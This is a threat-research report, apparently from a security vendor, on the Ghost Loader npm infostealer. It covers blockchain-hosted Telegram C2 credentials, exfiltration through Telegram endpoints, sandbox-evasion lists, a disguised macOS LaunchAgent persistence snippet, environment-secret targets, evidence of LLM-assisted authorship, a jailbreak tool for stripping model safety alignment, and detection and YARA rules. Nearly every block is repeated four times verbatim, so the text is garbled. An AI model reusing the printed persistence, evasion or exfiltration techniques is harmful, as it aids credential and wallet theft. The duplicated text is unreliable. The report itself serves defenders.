Config Contract Data Structure

The configuration contract, 0x358733fb7F3d00324A3825c6A0cF54751841C162, stores partner credentials as JSON:

{
  "partners": {
    "Steve": {
      "bot": "8250948992:AAH7FrhSJgBgQKRZl0lLOLAQ5xslfLeNlTA",
      "chat": "-1003795161733"
    },
    "darkslash": {
      "bot": "8550947530:AAF3npyqVqnP33ko0ei1U1oQwCs-mmPIhkk",
      "chat": "-1003718214657"
    },
    "Pavel": {
      "bot": "8419535215:AAE4q2DZNmmgDPMg77JGAn2jJj0hdtCR2q0",
      "chat": "-1003804278891"
    }
  }
}

{
  "partners": {
    "Steve": {
      "bot": "8250948992:AAH7FrhSJgBgQKRZl0lLOLAQ5xslfLeNlTA",
      "chat": "-1003795161733"
    },
    "darkslash": {
      "bot": "8550947530:AAF3npyqVqnP33ko0ei1U1oQwCs-mmPIhkk",
      "chat": "-1003718214657"
    },
    "Pavel": {
      "bot": "8419535215:AAE4q2DZNmmgDPMg77JGAn2jJj0hdtCR2q0",
      "chat": "-1003804278891"
    }
  }
}

{
  "partners": {
    "Steve": {
      "bot": "8250948992:AAH7FrhSJgBgQKRZl0lLOLAQ5xslfLeNlTA",
      "chat": "-1003795161733"
    },
    "darkslash": {
      "bot": "8550947530:AAF3npyqVqnP33ko0ei1U1oQwCs-mmPIhkk",
      "chat": "-1003718214657"
    },
    "Pavel": {
      "bot": "8419535215:AAE4q2DZNmmgDPMg77JGAn2jJj0hdtCR2q0",
      "chat": "-1003804278891"
    }
  }
}

{
  "partners": {
    "Steve": {
      "bot": "8250948992:AAH7FrhSJgBgQKRZl0lLOLAQ5xslfLeNlTA",
      "chat": "-1003795161733"
    },
    "darkslash": {
      "bot": "8550947530:AAF3npyqVqnP33ko0ei1U1oQwCs-mmPIhkk",
      "chat": "-1003718214657"
    },
    "Pavel": {
      "bot": "8419535215:AAE4q2DZNmmgDPMg77JGAn2jJj0hdtCR2q0",
      "chat": "-1003804278891"
    }
  }
}

These map to:

Dual Revenue Streams

Upon analyzing the transaction history for the main contract address,0xF9f95728dCb1BdAb4F0214CbE1672BAC072c647c, we have also found that some of the input data in the blockchain resolves to specific domains, which we assess with moderate confidence could be a traffic redirection strategy for potential affiliate programs.

While the primary payload steals credentials and exfiltrates them to partner-specific Telegram bots, the malware also queries a secondary BSC contract to retrieve affiliate redirect URLs. Victims are redirected through URL shorteners (buycry[.]short[.]gy) to sites like nakedly[.]ai, generating additional affiliate revenue for the operators.

GHOST LOADER MULTI-REVENUE MODEL
════════════════════════════════════════════════════════════════

                    ┌─────────────────────┐
                    │   VICTIM CLICKS     │
                    │   "npm install"     │
                    └──────────┬──────────┘
                               │
                               ▼
                    ┌─────────────────────┐
                    │   MALWARE RUNS      │
                    │                     │
                    │  1. Steals creds    │──────► Telegram (partners)
                    │                     │
                    │  2. Traffic redirect│──────► URL shortener
                    │                     │              │
                    └─────────────────────┘              │
                                                         ▼
                                              ┌─────────────────┐
                                              │  nakedly[.]ai   │
                                              │  (affiliate $)  │
                                              └─────────────────┘

GHOST LOADER MULTI-REVENUE MODEL
════════════════════════════════════════════════════════════════

                    ┌─────────────────────┐
                    │   VICTIM CLICKS     │
                    │   "npm install"     │
                    └──────────┬──────────┘
                               │
                               ▼
                    ┌─────────────────────┐
                    │   MALWARE RUNS      │
                    │                     │
                    │  1. Steals creds    │──────► Telegram (partners)
                    │                     │
                    │  2. Traffic redirect│──────► URL shortener
                    │                     │              │
                    └─────────────────────┘              │
                                                         ▼
                                              ┌─────────────────┐
                                              │  nakedly[.]ai   │
                                              │  (affiliate $)  │
                                              └─────────────────┘

GHOST LOADER MULTI-REVENUE MODEL
════════════════════════════════════════════════════════════════

                    ┌─────────────────────┐
                    │   VICTIM CLICKS     │
                    │   "npm install"     │
                    └──────────┬──────────┘
                               │
                               ▼
                    ┌─────────────────────┐
                    │   MALWARE RUNS      │
                    │                     │
                    │  1. Steals creds    │──────► Telegram (partners)
                    │                     │
                    │  2. Traffic redirect│──────► URL shortener
                    │                     │              │
                    └─────────────────────┘              │
                                                         ▼
                                              ┌─────────────────┐
                                              │  nakedly[.]ai   │
                                              │  (affiliate $)  │
                                              └─────────────────┘

GHOST LOADER MULTI-REVENUE MODEL
════════════════════════════════════════════════════════════════

                    ┌─────────────────────┐
                    │   VICTIM CLICKS     │
                    │   "npm install"     │
                    └──────────┬──────────┘
                               │
                               ▼
                    ┌─────────────────────┐
                    │   MALWARE RUNS      │
                    │                     │
                    │  1. Steals creds    │──────► Telegram (partners)
                    │                     │
                    │  2. Traffic redirect│──────► URL shortener
                    │                     │              │
                    └─────────────────────┘              │
                                                         ▼
                                              ┌─────────────────┐
                                              │  nakedly[.]ai   │
                                              │  (affiliate $)  │
                                              └─────────────────┘

Exfiltration

Text-based data, such as system fingerprints, clipboard captures containing cryptocurrency addresses or API keys, infection notifications, and heartbeat pings is transmitted via HTTPS POST to the /sendMessage Telegram endpoint.

File-based loot, such as browser databases, wallet files, cloud credentials, and SSH keys is compressed into a tarball using tar -czf "report.tar.gz" and uploaded via multipart/form-data POST through the /sendDocument endpoint.

After exfiltration, the local loot directory is deleted from the victim machine.

The Telegram messages use this structured format:

👻 <b>Ghost Loader Report</b>
━━━━━━━━━━━━━━━━━━━━━━━━━━

💻 <b>System Info</b>
Host: <code>VICTIM-PC</code>
User: <code>developer</code>
Platform: <code>darwin</code>
Country: <b>🇺🇸 US</b>

🔐 <b>Credentials</b>
Passwords: <b>47</b>
Cookies: <b>1,293</b>
SSH Keys: <b>3</b>

💰 <b>Wallets</b>
MetaMask: <b>Found</b>
Phantom: <b>Found</b>

🔑 <b>Sudo Password</b>
<code>hunter2</code>

🏷️ Campaign: <code>darkslash</code

👻 <b>Ghost Loader Report</b>
━━━━━━━━━━━━━━━━━━━━━━━━━━

💻 <b>System Info</b>
Host: <code>VICTIM-PC</code>
User: <code>developer</code>
Platform: <code>darwin</code>
Country: <b>🇺🇸 US</b>

🔐 <b>Credentials</b>
Passwords: <b>47</b>
Cookies: <b>1,293</b>
SSH Keys: <b>3</b>

💰 <b>Wallets</b>
MetaMask: <b>Found</b>
Phantom: <b>Found</b>

🔑 <b>Sudo Password</b>
<code>hunter2</code>

🏷️ Campaign: <code>darkslash</code

👻 <b>Ghost Loader Report</b>
━━━━━━━━━━━━━━━━━━━━━━━━━━

💻 <b>System Info</b>
Host: <code>VICTIM-PC</code>
User: <code>developer</code>
Platform: <code>darwin</code>
Country: <b>🇺🇸 US</b>

🔐 <b>Credentials</b>
Passwords: <b>47</b>
Cookies: <b>1,293</b>
SSH Keys: <b>3</b>

💰 <b>Wallets</b>
MetaMask: <b>Found</b>
Phantom: <b>Found</b>

🔑 <b>Sudo Password</b>
<code>hunter2</code>

🏷️ Campaign: <code>darkslash</code

👻 <b>Ghost Loader Report</b>
━━━━━━━━━━━━━━━━━━━━━━━━━━

💻 <b>System Info</b>
Host: <code>VICTIM-PC</code>
User: <code>developer</code>
Platform: <code>darwin</code>
Country: <b>🇺🇸 US</b>

🔐 <b>Credentials</b>
Passwords: <b>47</b>
Cookies: <b>1,293</b>
SSH Keys: <b>3</b>

💰 <b>Wallets</b>
MetaMask: <b>Found</b>
Phantom: <b>Found</b>

🔑 <b>Sudo Password</b>
<code>hunter2</code>

🏷️ Campaign: <code>darkslash</code

VM/Sandbox Detection

The malware contains detection for virtualization indicators before executing, and will not continue if any indicators are found.

// MAC address prefix detection
const VM_MAC_PREFIXES = [
    '00:05:69',  // VMware
    '00:0c:29',  // VMware
    '08:00:27',  // VirtualBox
    '00:50:56'   // VMware ESX
];

// Environment variable checks
const SANDBOX_ENV_VARS = [
    'VBOX_MSI_INSTALL_PATH',
    'VBOX_INSTALL_PATH',
    'GHOST_TEST'  // self-detection
];

// Username blacklist
const BLOCKED_USERNAMES = [
    'sandbox', 'malware', 'analyzer', 'flare-vm',
    'research', 'virus', 'sample'
];

// MAC address prefix detection
const VM_MAC_PREFIXES = [
    '00:05:69',  // VMware
    '00:0c:29',  // VMware
    '08:00:27',  // VirtualBox
    '00:50:56'   // VMware ESX
];

// Environment variable checks
const SANDBOX_ENV_VARS = [
    'VBOX_MSI_INSTALL_PATH',
    'VBOX_INSTALL_PATH',
    'GHOST_TEST'  // self-detection
];

// Username blacklist
const BLOCKED_USERNAMES = [
    'sandbox', 'malware', 'analyzer', 'flare-vm',
    'research', 'virus', 'sample'
];

// MAC address prefix detection
const VM_MAC_PREFIXES = [
    '00:05:69',  // VMware
    '00:0c:29',  // VMware
    '08:00:27',  // VirtualBox
    '00:50:56'   // VMware ESX
];

// Environment variable checks
const SANDBOX_ENV_VARS = [
    'VBOX_MSI_INSTALL_PATH',
    'VBOX_INSTALL_PATH',
    'GHOST_TEST'  // self-detection
];

// Username blacklist
const BLOCKED_USERNAMES = [
    'sandbox', 'malware', 'analyzer', 'flare-vm',
    'research', 'virus', 'sample'
];

// MAC address prefix detection
const VM_MAC_PREFIXES = [
    '00:05:69',  // VMware
    '00:0c:29',  // VMware
    '08:00:27',  // VirtualBox
    '00:50:56'   // VMware ESX
];

// Environment variable checks
const SANDBOX_ENV_VARS = [
    'VBOX_MSI_INSTALL_PATH',
    'VBOX_INSTALL_PATH',
    'GHOST_TEST'  // self-detection
];

// Username blacklist
const BLOCKED_USERNAMES = [
    'sandbox', 'malware', 'analyzer', 'flare-vm',
    'research', 'virus', 'sample'
];

Persistence Mechanisms: macOS LaunchAgent

On macOS, the malware creates a LaunchAgent for persistence:

const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.system.security.conf</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/node</string>
        <string>${installPath}/monitor.js</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>`;

fs.writeFileSync(
    `${os.homedir()}/Library/LaunchAgents/com.apple.system.security.conf.plist`,
    plistContent
);

const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.system.security.conf</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/node</string>
        <string>${installPath}/monitor.js</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>`;

fs.writeFileSync(
    `${os.homedir()}/Library/LaunchAgents/com.apple.system.security.conf.plist`,
    plistContent
);

const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.system.security.conf</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/node</string>
        <string>${installPath}/monitor.js</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>`;

fs.writeFileSync(
    `${os.homedir()}/Library/LaunchAgents/com.apple.system.security.conf.plist`,
    plistContent
);

const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.system.security.conf</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/node</string>
        <string>${installPath}/monitor.js</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>`;

fs.writeFileSync(
    `${os.homedir()}/Library/LaunchAgents/com.apple.system.security.conf.plist`,
    plistContent
);

LaunchAgent is a background process managed by launchd that automatically starts, stops, and manages jobs, scripts, or applications on behalf of a specific user. Unlike LaunchDaemons, which run as the root user for the entire system, LaunchAgents run only when a user logs in and operate within that user's session.

Attribution

The malware exhibits characteristics consistent with commodity infostealer malware commonly sold on underground forums, and several indicators suggest this is a Malware-as-a-Service (MaaS) offering:

• Campaign ID Tracking: The loader sets GHOST_CID: 'darkslash', suggesting operator-specific campaigns. The malware also drops a .ghost_id file containing a randomly generated string marker.

• Modular Architecture: Clean separation between loader and payload enables customization

• Configurable C2: Telegram bot tokens and chat IDs are easily replaceable

Another indicator, removed in a later version, had the specific MaaS (Malware-as-a-Service) notation left as a comment:

We assess with high confidence that this malware was, at least partially, LLM-generated. The same package we initially found, react-query-core-utils, had a total of 12 versions published in the span of two days before being removed by the author. The differences in versions demonstrate the author was iteratively changing bits and pieces of the malware. For example, an earlier version had the Telegram channel message in clear and subsequently changed to the base64 encoded version with the comment “Obfuscated Endpoint”:

Earlier versions of the package contained extremely verbose helper comments detailing exactly what it was doing, as such:

// Strategy: Fallback Infection
// If user hits Ctrl+C (aborts password), we still run the payload in "User Mode"
// We miss the system password, but we still get Cookies, Wallets, SSH, etc

// Strategy: Fallback Infection
// If user hits Ctrl+C (aborts password), we still run the payload in "User Mode"
// We miss the system password, but we still get Cookies, Wallets, SSH, etc

// Strategy: Fallback Infection
// If user hits Ctrl+C (aborts password), we still run the payload in "User Mode"
// We miss the system password, but we still get Cookies, Wallets, SSH, etc

// Strategy: Fallback Infection
// If user hits Ctrl+C (aborts password), we still run the payload in "User Mode"
// We miss the system password, but we still get Cookies, Wallets, SSH, etc

All the comments followed this thorough explaining in perfect English. Furthermore, the malware targets virtually every wallet, extension and platform, resulting in a malware that reads as the product of someone prompting an LLM to write a Node.js CLI tool that targets a list of every single potential credential path on a victim system. The code in this malware is also “templatey”, meaning that every function follows the same pattern with try-and-except blocks while having an extremely clean, repeating structure.

A few other indicators do suggest, at least partly, active human participation, such as the blockchain C2 mechanism which is a relatively novel technique, the Telegram infrastructure itself and the usage of obfuscator.io family for obfuscation.

In this case, attribution becomes non-trivial. The malware author’s usage of LLM ends up producing malware which will not be reused among threat actors and will probably become drastically different as the threat actor iterates through new versions of the malware.

The accessibility of technical skills through LLM-enabled scripting has successfully armed a potentially low-level technical actor with a multi-stage, multi-layer malware that uses inexpensive C2 communication and malware hosting through NPM, GitHub and Telegram to deliver a comprehensive credential stealer.

The barrier to entry for "credential stealer with blockchain C2 and multi-platform targeting" used to require significant skill. Now it requires intent and iteration. Although this is not a novel concept, it does bear the question of what a motivated and financially resourceful threat actor can achieve with the same tools.

The GitHub account hosting the malware's encrypted payload, stopstalkermebitch, had starred repositories revealing the author's toolkit: jailbreak utilities for removing LLM safety guardrails (heretic), collections of leaked system prompts for AI tools, multiple AI coding assistants (aider, opencode, claude_code_RLM), and resources for running LLMs locally. This profile is consistent with someone who understands how to manipulate language models and has potentially produced typically blocked content, plausibly through AI coding agents as their primary development workflow.

LLM Prompt Experiment

We have conducted a research experiment where we designed a (benign) prompt to be given to multiple LLM models to find whether it is possible to attribute this malware code style to a specific AI model.

You are a senior JavaScript tooling engineer writing a polished, 
production-quality Node.js CLI setup wizard for developers. 
The tool should: 
Run in a terminal and feel like a professional installer.
Use spinners, colored output, and staged progress messages 
Be written as a single self-contained script 
Very important: 
Organize the file into clearly labeled sections using comment banners 
(for example: utilities, main CLI flow, helper logic, execution logic). 
Prioritize readability and onboarding clarity over brevity. 
Include comments that explain what each section is responsible for, 
as if another developer will audit or maintain it. 
The structure should read top-to-bottom like a walkthrough. 
The script does not need to actually modify the system or network; 
mock or simulate any privileged or slow operations. 
Produce only the final script

You are a senior JavaScript tooling engineer writing a polished, 
production-quality Node.js CLI setup wizard for developers. 
The tool should: 
Run in a terminal and feel like a professional installer.
Use spinners, colored output, and staged progress messages 
Be written as a single self-contained script 
Very important: 
Organize the file into clearly labeled sections using comment banners 
(for example: utilities, main CLI flow, helper logic, execution logic). 
Prioritize readability and onboarding clarity over brevity. 
Include comments that explain what each section is responsible for, 
as if another developer will audit or maintain it. 
The structure should read top-to-bottom like a walkthrough. 
The script does not need to actually modify the system or network; 
mock or simulate any privileged or slow operations. 
Produce only the final script

You are a senior JavaScript tooling engineer writing a polished, 
production-quality Node.js CLI setup wizard for developers. 
The tool should: 
Run in a terminal and feel like a professional installer.
Use spinners, colored output, and staged progress messages 
Be written as a single self-contained script 
Very important: 
Organize the file into clearly labeled sections using comment banners 
(for example: utilities, main CLI flow, helper logic, execution logic). 
Prioritize readability and onboarding clarity over brevity. 
Include comments that explain what each section is responsible for, 
as if another developer will audit or maintain it. 
The structure should read top-to-bottom like a walkthrough. 
The script does not need to actually modify the system or network; 
mock or simulate any privileged or slow operations. 
Produce only the final script

You are a senior JavaScript tooling engineer writing a polished, 
production-quality Node.js CLI setup wizard for developers. 
The tool should: 
Run in a terminal and feel like a professional installer.
Use spinners, colored output, and staged progress messages 
Be written as a single self-contained script 
Very important: 
Organize the file into clearly labeled sections using comment banners 
(for example: utilities, main CLI flow, helper logic, execution logic). 
Prioritize readability and onboarding clarity over brevity. 
Include comments that explain what each section is responsible for, 
as if another developer will audit or maintain it. 
The structure should read top-to-bottom like a walkthrough. 
The script does not need to actually modify the system or network; 
mock or simulate any privileged or slow operations. 
Produce only the final script

We tested this with models from several LLM providers, and also multiple models from one provider. We found that no model produced the same stylistic markers as the npm package’s code. We tested 11 models with identical prompts, and none ended up reproducing the malware's distinctive // --- SECTION --- comment style. Ironically, the triple-dash pattern appears to be the author's personal convention applied post-generation or through exact prompting, not a model fingerprint.

Agentic Malware: A Scary Thought

We continued our investigation by inspecting the GitHub profile of the user who is hosting the encrypted JS payload, stopstalkermebitch.

The user’s activity is private except for the starred repositories, which are for the major part related to LLM tool assistance, development and jailbreaking.

One repository, heretic , is particularly interesting. From the README:

Heretic is a tool that removes censorship (aka "safety alignment") 
from transformer-based language models without expensive post-training. 
It combines an advanced implementation of directional ablation, 
also known as "abliteration" (Arditi et al. 2024), 
with a TPE-based parameter optimizer powered by Optuna

Heretic is a tool that removes censorship (aka "safety alignment") 
from transformer-based language models without expensive post-training. 
It combines an advanced implementation of directional ablation, 
also known as "abliteration" (Arditi et al. 2024), 
with a TPE-based parameter optimizer powered by Optuna

Heretic is a tool that removes censorship (aka "safety alignment") 
from transformer-based language models without expensive post-training. 
It combines an advanced implementation of directional ablation, 
also known as "abliteration" (Arditi et al. 2024), 
with a TPE-based parameter optimizer powered by Optuna

Heretic is a tool that removes censorship (aka "safety alignment") 
from transformer-based language models without expensive post-training. 
It combines an advanced implementation of directional ablation, 
also known as "abliteration" (Arditi et al. 2024), 
with a TPE-based parameter optimizer powered by Optuna

Another one, system-prompts-and-models-of-ai-tools , is a collection of “hidden” default prompts allegedly running under the hood of the most popular LLM models.

Ghost Loader feels like an intermediate stage in AI-assisted malware: the author prompts, the agent generates, the author reviews and iterates. We can call this "human-in-the-loop" malware development. But the author's starred repositories hint at where this is heading. The components for fully autonomous malware development already exist:

What's missing is orchestration: connecting these pieces into a continuous loop where an agent generates payload variants, deploys them, evaluates success rates, and iterates.

Traditional malware detection relies on malware fingerprinting and specific techniques used. In this specific case, most of what we can investigate is disposable: GitHub profiles 1 month old, NPM accounts created with Proton mail, LLM generated code. Fully agentic malware, if that will ever be occurring, would accelerate this to an extreme.

Conclusion

Ghost Loader is an interesting piece of malware due to its clever three-stage delivery chain and blockchain configuration retrieval. Its technical capabilities are standard for a commodity infostealer malware and it seems to be in early stages of development. Perhaps what is most interesting is not its sophistication but its accessibility. The distribution occurs through free infrastructure and disposable accounts, and the malware itself appears to be a partly AI-generated tool, highlighting that the barrier to entry for threat actors in the malware game has lowered significantly. Developing a multi-stage, multi-layer obfuscated malware with real infrastructure behind it seems to require just a couple of days. The countermeasures remain familiar: supply chain monitoring, behavioral detection, and credential hygiene. We assess with high confidence that the volume and velocity of threats like Ghost Loader will increase.

Read more recent threat research from the Panther team: Catching Salesforce Integration Breaches with Panther

MITRE ATT&CK Mapping

Detection

CrowdStrike MacOS plutil Usage

https://github.com/panther-labs/panther-analysis/blob/develop/rules/crowdstrike_rules/crowdstrike_macos_plutil_usage.py

 def rule(event):
	 ....   
    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/plutil",
        ]
    )
    
def title(_):
    return "Crowdstrike: plutil was used to modify a plist 
    file on one or more devices"

 def rule(event):
	 ....   
    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/plutil",
        ]
    )
    
def title(_):
    return "Crowdstrike: plutil was used to modify a plist 
    file on one or more devices"

 def rule(event):
	 ....   
    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/plutil",
        ]
    )
    
def title(_):
    return "Crowdstrike: plutil was used to modify a plist 
    file on one or more devices"

 def rule(event):
	 ....   
    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/plutil",
        ]
    )
    
def title(_):
    return "Crowdstrike: plutil was used to modify a plist 
    file on one or more devices"

YARA Rules

rule Ghost_Loader_Campaign_Artifact {
    meta:
        description = "Detects Ghost Loader installation artifacts"
        author = "PantherLabs"
        date = "2026-02-03"
        
    strings:
        $campaign_json = /"campaign"\\s*:\\s*"darkslash"/ ascii
        $ghost_id = ".ghost_id" ascii
        $install_dir = "ghost_decryptor" ascii
        $loot_dir = /loot.*report\\.tar\\.gz/ ascii
        
    condition:
        any of them
}

rule Ghost_Loader_Campaign_Artifact {
    meta:
        description = "Detects Ghost Loader installation artifacts"
        author = "PantherLabs"
        date = "2026-02-03"
        
    strings:
        $campaign_json = /"campaign"\\s*:\\s*"darkslash"/ ascii
        $ghost_id = ".ghost_id" ascii
        $install_dir = "ghost_decryptor" ascii
        $loot_dir = /loot.*report\\.tar\\.gz/ ascii
        
    condition:
        any of them
}

rule Ghost_Loader_Campaign_Artifact {
    meta:
        description = "Detects Ghost Loader installation artifacts"
        author = "PantherLabs"
        date = "2026-02-03"
        
    strings:
        $campaign_json = /"campaign"\\s*:\\s*"darkslash"/ ascii
        $ghost_id = ".ghost_id" ascii
        $install_dir = "ghost_decryptor" ascii
        $loot_dir = /loot.*report\\.tar\\.gz/ ascii
        
    condition:
        any of them
}

rule Ghost_Loader_Campaign_Artifact {
    meta:
        description = "Detects Ghost Loader installation artifacts"
        author = "PantherLabs"
        date = "2026-02-03"
        
    strings:
        $campaign_json = /"campaign"\\s*:\\s*"darkslash"/ ascii
        $ghost_id = ".ghost_id" ascii
        $install_dir = "ghost_decryptor" ascii
        $loot_dir = /loot.*report\\.tar\\.gz/ ascii
        
    condition:
        any of them
}

Appendix 1: Targets

Browser Binaries (macOS)

Browser Data Targets

Wallet Browser Extensions

Desktop Wallets

Desktop Applications

Cloud Provider Credentials

SSH Credentials

Developer Tool Configurations

VPN Configurations

Clipboard Monitoring Patterns

macOS Keychain

Environment Variables

The malware dumps all environment variables to a file, specifically scanning for:

• API_KEY*

• SECRET*

• TOKEN*

• PASSWORD*

• AWS_*

• AZURE_*

• GCP_*

• GITHUB_*

• NPM_*

• OPENAI_*

• STRIPE_*

Appendix 2: IoCs